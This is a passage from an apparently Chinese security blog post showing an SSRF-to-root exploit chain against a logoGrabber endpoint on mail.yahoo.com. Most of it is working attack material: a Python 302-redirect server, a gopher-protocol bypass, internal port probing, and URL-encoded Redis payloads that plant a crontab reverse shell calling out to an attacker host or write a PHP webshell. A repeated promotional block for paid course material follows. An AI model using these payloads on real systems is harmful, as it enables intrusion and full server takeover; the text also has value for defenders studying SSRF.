GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
主机:mail.yahoo.com
...
结果是:没有请求发送到 Burp Collaborator,推断目标服务器可能限制了 Gopher 协议,绕过方法之一是重定向。
测试是否支持重定向:
创建 Python http 服务器:
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
# 判断参数数量是否正确
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
# 处理 GET 请求
def do_GET(self):
# 发送 302 状态码
self.send_response(302)
# 设置 Location 响应头,指定重定向的目标 URL
self.send_header('Location', sys.argv[2])
# 结束响应头
self.end_headers()
# 发生错误时的处理方式,也重定向到目标 URL
def send_error(self, code, message=None):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
再将所有的GET流量都重定向到 Burp Collaborator URL:
python3 302redirect.py port “http://mycollaboratorurl/”
接着构造请求如下:
GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
在提交请求后,重定向被跟随,导致 Burp Collaborator URL受到了访问。
将重定向与 gopher 结合:
python3 302redirect.py port “gopher://mycollaboratorurl/”
再次构造相同的请求:
GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
在提交请求后,Burp Collaborator URL受到了访问,显然,重定向与gopher结合成功,则此时可以利用gopher协议访问内部IP。
要实现 gopher 协议的危害升级,可利用工具:gopherus
简单介绍一下gopherus:通过gopherus可构建和发送Gopher请求,并查看响应结果。其可以实现对 MySQL、FastCGI、Memcached、Redis、 Zabbix、SMTP 等的攻击。
由于127.0.0.1在不使用 gopher 的情况下不可访问,且测试数据可控,故测试127.0.0.1。
可以在主机上开启 MySQL 等服务,并记下其端口,再利用 gopherus工具进行 shell。也可通过 302 将网络服务器重定向到 gopher://127.0.0.1:port,然后提交请求来查看哪些端口是开放的:
GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
回显如下:
302redirect → gopher://127.0.0.1:3306 [响应时间:3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [响应时间:2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [响应时间:500ms]-OPEN
ETC…
可以看到 Redis 服务是开放的,针对 Redis 的利用方法分为两种:
1、利用写入计划任务来执行反弹shell操作
Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len_cmd) + "\r" + cmd + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(crontab_dir)) + "\r" + crontab_dir + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r*1\r$4\rsave\r"
2、在知晓网站网站绝对路径的情况下,写入phpshell
Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len(php_payload) + 4) + "\r" + php_payload + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(web_root_location)) + "\r" + web_root_location + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*1\r$4\rsave\r"
选择方法一,构造反弹 shell 脚本如下:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$69
*1 * * * * bash -c "sh -i >& /dev/tcp/xxxx/1337 0>&1"
#将输入和输出重定向至1337端口
*4
$6
config
$3
set
$3
dir
$14
/var/lib/redis
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
对其编码得到:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1% 0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20% 3E%26%20/dev/tcp/xxxx/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243% 0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A% 243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
此时在端口 1337 上启动 Netcat 侦听器以捕获任何传入的反弹 shell
接着执行:
python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A
%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"
再提交请求:
GET /xxx/logoGrabber?url=http://my302redirectserver/
主机:mail.yahoo.com
...
结果如下图,运行 whoami 可以看到回显root,说明RCE成功。
最后
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
(img-oezGjsL9-1715592570512)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!